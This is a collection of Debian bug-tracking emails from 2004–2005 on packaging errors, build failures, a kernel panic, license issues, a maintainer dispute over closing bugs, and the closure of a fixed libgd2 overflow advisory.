Nov 2004 02:13:12 +0100 (CET) Received: from argos.server.maison (AToulouse-152-1-35-227.w82-125.abo.wanadoo.fr [82.125.145.227]) by mwinf1006.wanadoo.fr (SMTP Server) with ESMTP id BBD701800088; Mon, 1 Nov 2004 02:13:11 +0100 (CET) Received: from prahal by argos.server.maison with local (Exim 4.34) id 1COQnj-0005xE-6j; Mon, 01 Nov 2004 02:16:05 +0100 Date: Mon, 1 Nov 2004 02:16:02 +0100 From: [EMAIL PROTECTED] To: Debian Bug Tracking System [EMAIL PROTECTED] Subject: swami files are in /debian/ Message-ID: [EMAIL PROTECTED] Reply-To: Alban Browaeys [EMAIL PROTECTED] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Reportbug-Version: 3.1 User-Agent: Mutt/1.5.6+20040907i Sender: [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2004_03_25 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-6.4 required=4.0 tests=BAYES_00,HAS_PACKAGE, NO_REAL_NAME autolearn=no version=2.60-bugs.debian.org_2004_03_25 X-Spam-Level: Package: swami Version: 0.9.2-1 Severity: normal Tags: experimental dpkg -L swami /. /usr /usr/bin /usr/bin/swami /usr/sbin /usr/lib /usr/lib/swami /usr/lib/swami/wavetbl_fluidsynth.so /usr/lib/swami/wavetbl_fluidsynth.la /usr/lib/swami/wavetbl_fluidsynth.a /usr/lib/swami/samplelib_audiofile.so /usr/lib/swami/samplelib_audiofile.la /usr/lib/swami/samplelib_audiofile.a /usr/lib/swami/samplelib_libsndfile.so /usr/lib/swami/samplelib_libsndfile.la /usr/lib/swami/samplelib_libsndfile.a /usr/share /usr/share/locale /usr/share/locale/de /usr/share/locale/de/LC_MESSAGES /usr/share/locale/de/LC_MESSAGES/swami.mo /usr/share/doc /usr/share/doc/swami /usr/share/doc/swami/NEWS.gz /usr/share/doc/swami/AUTHORS /usr/share/doc/swami/copyright /usr/share/doc/swami/changelog.gz /usr/share/doc/swami/README.gz /usr/share/doc/swami/changelog.Debian.gz /debian /debian/swami /debian/swami/usr /debian/swami/usr/share /debian/swami/usr/share/swami /debian/swami/usr/share/swami/swami.glade I guess something got wrong with the build environment. Though i am quite surprised that lintian is not able to manage such problems Cheers Alban -- System Information: Debian Release: 3.1 APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.9-rc1-bs Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages swami depends on: ii gdk-imlib11.9.14-16 imaging library for use with gtk ( ii libart2 1.4.2-19 The GNOME canvas widget - runtime ii libaudiofile0 0.2.6-4Open-source version of SGI's audio ii libc6 2.3.2.ds1-18 GNU C Library: Shared libraries an ii libdb33.2.9-20 Berkeley v3 Database Libraries [ru ii libesd-alsa0 [libesd0]0.2.35-2 Enlightened Sound Daemon (ALSA) - ii libfluidsynth11.0.4-2-1 Real-time MIDI software synthesize ii libglib1.21.2.10-9 The GLib library of C routines ii libgnome321.4.2-19 The GNOME libraries ii libgnomesupport0 1.4.2-19 The GNOME libraries (Support libra ii libgnomeui32 1.4.2-19 The GNOME libraries (User Interfac ii libgtk1.2 1.2.10-17 The GIMP Toolkit set of widgets fo ii libice6 4.3.0.dfsg.1-8 Inter-Client Exchange library ii libpng12-01.2.7-1PNG library - runtime ii libpopt0 1.7-5 lib for parsing cmdline parameters ii libsm64.3.0.dfsg.1-8 X Window System Session Management ii libsndfile1 1.0.10-2
Bug#295775: marked as done (Build-depends on libhowl-dev, which will become non-free or removed)
Your message dated Wed, 23 Feb 2005 11:32:22 -0500 with message-id [EMAIL PROTECTED] and subject line Bug#295775: fixed in gnome-vfs2 2.8.4-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) -- Received: (at submit) by bugs.debian.org; 11 Jan 2005 12:19:43 + From [EMAIL PROTECTED] Tue Jan 11 04:19:43 2005 Return-path: [EMAIL PROTECTED] Received: from (tsunami.hypair.net) [195.94.213.117] by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1CoKzu-0004xn-00; Tue, 11 Jan 2005 04:19:43 -0800 Received: from pe72.czempien.sdi.tpnet.pl (pe72.czempien.sdi.tpnet.pl [217.96.182.72]) by tsunami.hypair.net (Postfix) with ESMTP id 1336888EE for [EMAIL PROTECTED]; Tue, 11 Jan 2005 13:18:48 +0100 (CET) From: Jakub Stachowski [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: mdnsresponder: Wrong license Date: Tue, 11 Jan 2005 13:20:33 +0100 User-Agent: KMail/1.7.91 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-8.0 required=4.0 tests=BAYES_00,HAS_PACKAGE autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: Package: mdnsresponder Version: 0.9.8-2 Severity: serious Justification: Policy 12.5 *** Please type your report below this line *** copyright file installed along with mdnsresponder contains standard BSD license. Hovewer: 1) COPYING file from original source states that portions of code are covered by APSL 2.0. This is because howl package consists of forked Apple's mDNSResponder (covered by APSL) and Porchdog's client library covered by BSD 2) mdnsresponder package contains almost only APSL2-licensed code. Therefore installing BSD license into /usr/doc/mdnsresponder/copyright is completely wrong. -- System Information: Debian Release: 3.1 APT prefers unstable APT policy: (990, 'unstable'), (50, 'testing'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.10-rc3eng Locale: LANG=pl_PL, LC_CTYPE=pl_PL (charmap=ISO-8859-2) (ignored: LC_ALL set to pl_PL) Versions of packages mdnsresponder depends on: ii libc6 2.3.2.ds1-20 GNU C Library: Shared libraries an -- no debconf information --- Received: (at 295775-close) by bugs.debian.org; 23 Feb 2005 16:38:02 + From [EMAIL PROTECTED] Wed Feb 23 08:38:02 2005 Return-path: [EMAIL PROTECTED] Received: from newraff.debian.org [208.185.25.31] (mail) by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1D3zWU-0002iL-00; Wed, 23 Feb 2005 08:38:02 -0800 Received: from katie by newraff.debian.org with local (Exim 3.35 1 (Debian)) id 1D3zR0-0003Mf-00; Wed, 23 Feb 2005 11:32:22 -0500 From: Sjoerd Simons [EMAIL PROTECTED] To: [EMAIL PROTECTED] X-Katie: $Revision: 1.55 $ Subject: Bug#295775: fixed in gnome-vfs2 2.8.4-1 Message-Id: [EMAIL PROTECTED] Sender: Archive Administrator [EMAIL PROTECTED] Date: Wed, 23 Feb 2005 11:32:22 -0500 Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-6.0 required=4.0 tests=BAYES_00,HAS_BUG_NUMBER autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: X-CrossAssassin-Score: 2 Source: gnome-vfs2 Source-Version: 2.8.4-1 We believe that the bug you reported is fixed in the latest version of gnome-vfs2, which is due to be installed in the Debian FTP archive: gnome-vfs2_2.8.4-1.diff.gz to pool/main/g/gnome-vfs2/gnome-vfs2_2.8.4-1.diff.gz gnome-vfs2_2.8.4-1.dsc to pool/main/g/gnome-vfs2/gnome-vfs2_2.8.4-1.dsc gnome-vfs2_2.8.4.orig.tar.gz to pool/main/g/gnome-vfs2/gnome-vfs2_2.8.4.orig.tar.gz libgnomevfs2-0_2.8.4-1_powerpc.deb to pool/main/g/gnome-vfs2/libgnomevfs2-0_2.8.4-1_powerpc.deb libgnomevfs2-common_2.8.4-1_powerpc.deb to pool/main/g/gnome-vfs2/libgnomevfs2-common_2.8.4-1_powerpc.deb libgnomevfs2-dev_2.8.4-1_powerpc.deb to pool/main/g/gnome-vfs2/libgnomevfs2-dev_2.8.4-1_powerpc.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if
Processed: Re: Bug#295428: FTBFS: autoconf bug?
Processing commands for [EMAIL PROTECTED]: tags 295428 pending Bug#295428: FTBFS: autoconf bug? There were no tags set. Tags added: pending thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#295428: FTBFS: autoconf bug?
tags 295428 pending thanks Jeroen van Wolffelaar said: That doesn't sound to me like the correct solution to this bug, though. The problem is that autoconf gets invoked without making sure the right autoconf is invoked. I assume you got appropriately schooled about how the autoconf wrapper works on IRC. :) ... Adam -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296623: kernel-image-2.6.8-amd64: 2.6.8 kernel images panic on quad Opteron box
Package: kernel-image-2.6.8-amd64
Severity: critical
Justification: breaks the whole system
I have installed Debian Sarge on a four-way Opteron HE box. The install went
smoothly, and the default kernel-image-2.4.27-1-386 package seems to work fine.
One of the first things I did was to install an
Opteron-optimised, SMP kernel-image, kernel-image-2.6.8-10-amd64-k8-smp. This
gave a Machine Check Exception on boot:
I have tried kernel-image-2.6.8-10-amd64-k8 which also gives a Machine Check
Exception, and kernel-image-2.6.8-2-386 which just hangs at Calculating Delay
Loop.
-- System Information:
Debian Release: 3.1
APT prefers testing
APT policy: (990, 'testing')
Architecture: i386 (i686)
Kernel: Linux 2.4.27-1-386
Locale: LANG=en_GB, LC_CTYPE=en_GB (charmap=ISO-8859-1)
CPU 0: Machine Check Exception:7 Bank 3: b483b
RIP 10:80239e4c {pci_conf1_read+0xac/0xe0}
TSC 10b8c86 ADDR fdfc000cfe
CPU 0: Machine Check Exception:7 Bank 0: b483b
RIP 10:80239e4c {pci_conf1_read+0xac/0xe0}
TSC 0
Kernel panic: Uncorrected machine check
Badness in smp_call_function at arch/x86_64/kernel/smp.c:408
Call Trace:80119e0d{smp_call_function+109}
80194866{sync_inodes+118}
80119f49{smp_send_stop+25} 80134c32{panic+274}
80116ac0{mce_available+0} 80116f12{do_machine_check+1059}
80239e4c{pci_conf1_read+172} 80239e4c{pci_conf1_read+172}
801106b7{machine_check+127} 80239e4c{pci_conf1_read+172}
EOE 80400f5a{pci_sanity_check+74}
80401049{pci_direct_init+121} 8010b4d9{init+745}
8011017f{child_rip+8} 8010b1f0{init+0}
80110177{child_rip+0}
Bug#296628: pdns: recursor init script doesn't implement (force-)reload
Package: pdns Version: 2.9.16-6 Severity: serious Justification: Policy 9.3.2 The shipped /etc/init.d/pdns_recursor script doesn't take arguments reload and force-reload. These are mandatory. -- System Information: Debian Release: 3.0 APT prefers unstable APT policy: (400, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.4.27-uselib.lre Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages pdns depends on: ii libc6 2.3.2.ds1-20 GNU C Library: Shared libraries an ii libgcc1 1:3.4.3-9GCC support library ii libstdc++5 1:3.3.5-8The GNU Standard C++ Library v3 -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#295510: atlas{,3}-test manpage conflicts
Thanks for the suggestion, but this violates policy, which states that
I can only use sections 1 through 9. Am preparing a release of
atlas-test which replaces atlas3-test to match the converse which
holds at present.
We need to remove all these older blas/lapack/atlas packages, but a
few other packages still have not upgraded yet :-(.
Take care,
Lars Wirzenius [EMAIL PROTECTED] writes:
It seems to me that atlas-test and atlas3-test have many manual pages
that have the same name, see below. There are, I think, two simple ways
to deal with this: make the packages conflict with each other or put the
manual pages in different sections (1atlas and 1atlas3, for example).
Since the packages have no other reason to conflict, the latter option
seems preferable. It is enough for one package to this, but it would
probably be better to have both of them do it, to make it clearer to
users which one they are getting.
This should be doable by changing -s 1 to -s 1atlas or -s 1atlas3
in the call to help2man in debian/rules.
Note that although 295510 has only been reported against atlas-test,
both packages are responsible for the situation, which is why I'm Cc'ing
to Camm Maguire as well.
$ ls -1
atlas-test_3.2.1ln-13.1_i386.deb
atlas3-test_3.6.0-19_i386.deb
$ dpkg -c atlas-* | awk '{ print $NF }' atlas-test.list
$ dpkg -c atlas3-* | awk '{ print $NF }' atlas3-test.list
$ sort *.list | uniq -c | awk '$1 1'
2 ./
2 ./usr/
2 ./usr/lib/
2 ./usr/share/
2 ./usr/share/doc/
2 ./usr/share/man/
2 ./usr/share/man/man1/
2 ./usr/share/man/man1/xcllttstF.1.gz
2 ./usr/share/man/man1/xcllttst.1.gz
2 ./usr/share/man/man1/xclutstF.1.gz
2 ./usr/share/man/man1/xclutst.1.gz
2 ./usr/share/man/man1/xcl1blastst.1.gz
2 ./usr/share/man/man1/xcl2blastst.1.gz
2 ./usr/share/man/man1/xcl3blastst.1.gz
2 ./usr/share/man/man1/xdllttstF.1.gz
2 ./usr/share/man/man1/xdllttst.1.gz
2 ./usr/share/man/man1/xdlutstF.1.gz
2 ./usr/share/man/man1/xdlutst.1.gz
2 ./usr/share/man/man1/xdl1blastst.1.gz
2 ./usr/share/man/man1/xdl2blastst.1.gz
2 ./usr/share/man/man1/xdl3blastst.1.gz
2 ./usr/share/man/man1/xsllttstF.1.gz
2 ./usr/share/man/man1/xsllttst.1.gz
2 ./usr/share/man/man1/xslutstF.1.gz
2 ./usr/share/man/man1/xslutst.1.gz
2 ./usr/share/man/man1/xsl1blastst.1.gz
2 ./usr/share/man/man1/xsl2blastst.1.gz
2 ./usr/share/man/man1/xsl3blastst.1.gz
2 ./usr/share/man/man1/xzllttstF.1.gz
2 ./usr/share/man/man1/xzllttst.1.gz
2 ./usr/share/man/man1/xzlutstF.1.gz
2 ./usr/share/man/man1/xzlutst.1.gz
2 ./usr/share/man/man1/xzl1blastst.1.gz
2 ./usr/share/man/man1/xzl2blastst.1.gz
2 ./usr/share/man/man1/xzl3blastst.1.gz
--
Camm Maguire[EMAIL PROTECTED]
==
The earth is but one country, and mankind its citizens. -- Baha'u'llah
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296557: uploaded 1:0.5-3 fixed this bug
package ipsec-tools tags 296557 +fixed -- Aidas Kasparas IT administrator GM Consult Group, UAB -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296628: pdns: recursor init script doesn't implement (force-)reload
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Lionel Elie Mamane wrote: | Package: pdns | Version: 2.9.16-6 | Severity: serious | Justification: Policy 9.3.2 | | The shipped /etc/init.d/pdns_recursor script doesn't take arguments | reload and force-reload. These are mandatory. | | -- System Information: | Debian Release: 3.0 | APT prefers unstable | APT policy: (400, 'unstable') | Architecture: i386 (i686) | Kernel: Linux 2.4.27-uselib.lre | Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) | | Versions of packages pdns depends on: | ii libc6 2.3.2.ds1-20 GNU C Library: Shared libraries an | ii libgcc1 1:3.4.3-9GCC support library | ii libstdc++5 1:3.3.5-8The GNU Standard C++ Library v3 | | -- no debconf information | I know. We are preparing a new package including the new pdns-recursor script. Also we get a new upstream release. Thanks for reporting -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFCHL532n1ROIkXqbARAprfAJ41RPV4+J2eyRW/Pzgaz/m4Q9KHpACgkluL RlECzLZ/5tnKhOOg0OT6ZLM= =0uXp -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: uploaded 1:0.5-3 fixed this bug
Processing commands for [EMAIL PROTECTED]: tags 296557 +fixed Bug#296557: openswan requires ipsec-tools but conflicts with it There were no tags set. Tags added: fixed thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296506: libhid: FTBFS: cast from pointer to integer of different size
On Wed, Feb 23, 2005 at 12:33:44AM +0100, martin f krafft wrote: also sprach Kurt Roeckx [EMAIL PROTECTED] [2005.02.22.2301 +0100]: lshid.c:49: warning: cast from pointer to integer of different size argh. sorry. could you please try the following patch? it works on amd64: I can only test this on amd64 myself and looks good to me. Don't be confused by me pasting the build log from ia64. I always check other arches first (to determ the RC-ness), and it's easier to copy/paste from that. Kurt -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#294719: marked as done (wdm: can't fulfill the build dependencies in sarge)
Your message dated Wed, 23 Feb 2005 19:07:52 +0100 with message-id [EMAIL PROTECTED] and subject line WDM bugs fixed in NMU has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) -- Received: (at submit) by bugs.debian.org; 11 Feb 2005 10:33:35 + From [EMAIL PROTECTED] Fri Feb 11 02:33:34 2005 Return-path: [EMAIL PROTECTED] Received: from emailhub.stusta.mhn.de (mailout.stusta.mhn.de) [141.84.69.5] by spohr.debian.org with smtp (Exim 3.35 1 (Debian)) id 1CzY7C-i5-00; Fri, 11 Feb 2005 02:33:34 -0800 Received: (qmail 7992 invoked from network); 11 Feb 2005 10:33:02 - Received: from r063144.stusta.swh.mhn.de (10.150.63.144) by mailhub.stusta.mhn.de with SMTP; 11 Feb 2005 10:33:02 - Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000) id DC2A7BB987; Fri, 11 Feb 2005 11:32:59 +0100 (CET) Content-Type: text/plain; charset=us-ascii MIME-Version: 1.0 Content-Transfer-Encoding: 7bit From: Adrian Bunk [EMAIL PROTECTED] To: Debian Bug Tracking System [EMAIL PROTECTED] Subject: wdm: can't fulfill the build dependencies in sarge X-Mailer: reportbug 3.2 Date: Fri, 11 Feb 2005 11:32:59 +0100 Message-Id: [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-8.0 required=4.0 tests=BAYES_00,HAS_PACKAGE autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: Package: wdm Version: 1.27-2.1 Severity: serious Tags: sarge The build dependency on libproplist0-dev can't be fulfilled in sarge. --- Received: (at 294719-done) by bugs.debian.org; 23 Feb 2005 18:10:36 + From [EMAIL PROTECTED] Wed Feb 23 10:10:35 2005 Return-path: [EMAIL PROTECTED] Received: from vsmtp12.tin.it [212.216.176.206] by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1D40y1-tT-00; Wed, 23 Feb 2005 10:10:34 -0800 Received: from casa (80.117.81.156) by vsmtp12.tin.it (7.0.027) (authenticated as [EMAIL PROTECTED]) id 420B8EDA00655FE0; Wed, 23 Feb 2005 19:10:07 +0100 Received: from eppesuig3 ([192.168.2.50] ident=giuseppe) by casa with asmtp (TLS-1.0:RSA_ARCFOUR_MD5:16) (Exim 4.34) id 1D40s8-0005R4-Ub; Wed, 23 Feb 2005 19:04:28 +0100 Subject: WDM bugs fixed in NMU From: Giuseppe Sacco [EMAIL PROTECTED] To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED] Cc: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED] Content-Type: text/plain Date: Wed, 23 Feb 2005 19:07:52 +0100 Message-Id: [EMAIL PROTECTED] Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-3.0 required=4.0 tests=BAYES_00 autolearn=no version=2.60-bugs.debian.org_2005_01_02 X-Spam-Level: X-CrossAssassin-Score: 4 The last NMU upload for WDM include all translation update and fixes the RC bug. Bye, Giuseppe -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#294719: WDM bugs fixed in NMU
The last NMU upload for WDM include all translation update and fixes the RC bug. Bye, Giuseppe -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#280920: reissuing control commands
reassign 280920 libgd1-xpm severity 280920 normal retitle 280920 libgd1-xpm: missing Conflicts: on libgd_1_ tags 280920 - woody thanks Hi, this bug is still RC and tagged woody, although the discussion inside indicates it's a testing/unstable issue and only occurs with partial upgrades from woody, making it (AFAIK) non-RC. I'm reissuing the control commands from Christoph Berg, as they apparently didn't reach [EMAIL PROTECTED] earlier. Cheers, -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296623: kernel-image-2.6.8-amd64: 2.6.8 kernel images panic on quad Opteron box
Hi Alex... On Wednesday, February 23, 2005 at 16:54:20, Alex Page wrote: : Package: kernel-image-2.6.8-amd64 : Severity: critical : Justification: breaks the whole system It works for me and a lot of people... it's not so critical I think ;) and it's the best working amd64 kernel IIRC... : I have installed Debian Sarge on a four-way Opteron HE box. The install went smoothly, and the default kernel-image-2.4.27-1-386 package seems to work fine. One of the first things I did was to install an : Opteron-optimised, SMP kernel-image, kernel-image-2.6.8-10-amd64-k8-smp. This gave a Machine Check Exception on boot: : : I have tried kernel-image-2.6.8-10-amd64-k8 which also gives a Machine Check Exception, and kernel-image-2.6.8-2-386 which just hangs at Calculating Delay Loop. Arghhh! I've seen the same thing (delay loop hang). It was solved (tyan motherboard) just disabling ACPI v2.0 in the BIOS. But Your Mileage May Vary... maybe other ACPI options in bios, or kernel options like nolapic, noapic, noacpi or similar can help in your case. Regards, -- Roberto Lumbreras .''`. rover : :' : debian.org Debian Developer `. `' `- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#294719: WDM bugs fixed in NMU
Il giorno mer, 23-02-2005 alle 19:34 +0100, Adrian Bunk ha scritto: On Wed, Feb 23, 2005 at 07:07:52PM +0100, Giuseppe Sacco wrote: The last NMU upload for WDM include all translation update and fixes the RC bug. Are you the new maintainer for wdm, or what else gives you the right to close bugs in wdm? If you intend to become the new maintainer, please ask Noah for permission and retitle the RFA. Hi Adrian, I did send a message to Noah, yesterday, about this NMU and about those bugs; then I also get some information about his status since he seem MIA. I did it, even if we are in 0-day NMU time. Of corse, usually all NMUs should just tag the bugs as fixed but these fixes are very simple and a simple tag wouldn't probably make the package migrate to testing (because of the RC bug, but I am not really sure about this) moreover Noah posted an RFA last year, so probably he have no much time to focus on this package, so I think he will excuse me about this. Bye, Giuseppe -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#278625: Bug #278625: CAN-2004-0990: integer and buffer overflows
Hi, this security bug (CAN-2004-0990) against libgd2 in woody seems to be fixed: libgd2 (2.0.1-10woody2) stable-security; urgency=high * Non-maintainer upload by the Security Team * Added overflow and failed malloc protections to prevend buffer overflows that could lead to arbitrary code execution [gd.c, wbmp.c, gd_gd.c, gd_io_dp.c, gdxpm.c, CAN-2004-0941, CAN-2004-0990] * Added missing free() [gd_png.c] * Added nother integer overflow precaution by Stew Benedict [EMAIL PROTECTED] [gd_png.c] -- Martin Schulze [EMAIL PROTECTED] Tue, 16 Nov 2004 11:39:46 +0100 AFAICT, the bug report should be closed. I'll leave that for somebody else to verify, though. Apologies if I'm missing something. Cheers, -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#294719: WDM bugs fixed in NMU
Il giorno mer, 23-02-2005 alle 20:21 +0100, Adrian Bunk ha scritto: On Wed, Feb 23, 2005 at 07:59:39PM +0100, Giuseppe Sacco wrote: [...] Hi Adrian, I did send a message to Noah, yesterday, about this NMU and about those bugs; then I also get some information about his status since he seem MIA. I did it, even if we are in 0-day NMU time. Noah himself sent the RFA for his package. Since he did this but didn't simply orphan the package, this should at least have given you a hint that he might be reachable. This is why I sent him the email. Of corse, usually all NMUs should just tag the bugs as fixed but these fixes are very simple and a simple tag wouldn't probably make the package migrate to testing (because of the RC bug, but I am not really sure about this) moreover Noah posted an RFA last year, so probably he have no much time to focus on this package, so I think he will excuse me about this. This has nothing to do with 0-day NMUs or the severity or how simple the bugs are: By convention, only the official package maintainer or the original bug submitter close bugs. It seems you aren't aware that different from the subject you used for closing the RC bug the NMU had _nothing_ to do with the RC bug. Didn't you notice, that I sent the bug more than two months after the NMU? Why did you pretend it was fixed by the NMU? No, you are referring to the wrong NMU. I did an NMU early today. Please have a look at: http://lists.debian.org/debian-devel-changes/2005/02/msg01603.html I am not used, as policy suggest, to close bug in changelog, so I did send an email to every bug submitter, and close all bugs. Try to understand why Steve removed the sarge tag from the bug and you might understand why your action was wrong. I did. A hint: As soon as wdm reaches testing the RC bug is again 100% present... No. See above. I even recompiled and installed it in sarge. Bye, Giuseppe -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#278625: marked as done (CAN-2004-0990: integer and buffer overflows)
Your message dated Wed, 23 Feb 2005 21:02:17 +0100 with message-id [EMAIL PROTECTED] and subject line Bug#278625: Bug #278625: CAN-2004-0990: integer and buffer overflows has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) -- Received: (at submit) by bugs.debian.org; 28 Oct 2004 09:48:50 + From [EMAIL PROTECTED] Thu Oct 28 02:48:49 2004 Return-path: [EMAIL PROTECTED] Received: from box79162.elkhouse.de [213.9.79.162] by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1CN6tl-0002Oo-00; Thu, 28 Oct 2004 02:48:49 -0700 Received: from martin by box79162.elkhouse.de with local (Exim 4.34) id 1CN6tk-0003f1-N6; Thu, 28 Oct 2004 11:48:48 +0200 Date: Thu, 28 Oct 2004 11:48:48 +0200 From: Martin Pitt [EMAIL PROTECTED] To: Debian Bug Tracking System [EMAIL PROTECTED] Subject: CAN-2004-0990: integer and buffer overflows Message-ID: [EMAIL PROTECTED] Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol=application/pgp-signature; boundary=3MwIy2ne0vdjdPXF Content-Disposition: inline X-Reportbug-Version: 2.63 User-Agent: Mutt/1.5.6+20040722i Sender: Martin Pitt [EMAIL PROTECTED] Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2004_03_25 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-8.0 required=4.0 tests=BAYES_00,HAS_PACKAGE autolearn=no version=2.60-bugs.debian.org_2004_03_25 X-Spam-Level: --3MwIy2ne0vdjdPXF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Package: libgd2 Version: 2.0.28-3 Severity: critical Tags: security Justification: breaks unrelated software Hi! libgd2 is apparently vulnerable to CAN-2004-0990. Please see=20 http://www.securityfocus.com/archive/1/379382/2004-10-24/2004-10-30/0 for details. Thanks, Martin -- System Information: Debian Release: 3.1 APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.7 Locale: LANG=3Dde_DE.UTF-8, LC_CTYPE=3Dde_DE.UTF-8 --=20 Martin Pitt http://www.piware.de Ubuntu Developerhttp://www.ubuntulinux.org Debian GNU/Linux Developer http://www.debian.org --3MwIy2ne0vdjdPXF Content-Type: application/pgp-signature; name=signature.asc Content-Description: Digital signature Content-Disposition: inline -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBgMCADecnbV4Fd/IRAmyDAKCBL9FMmPmwjWsH6ybTurAJS8QFIwCggS/u ogZMO3WkUvOWXV3ug4VbFW4= =62zy -END PGP SIGNATURE- --3MwIy2ne0vdjdPXF-- --- Received: (at 278625-done) by bugs.debian.org; 23 Feb 2005 20:02:56 + From [EMAIL PROTECTED] Wed Feb 23 12:02:56 2005 Return-path: [EMAIL PROTECTED] Received: from 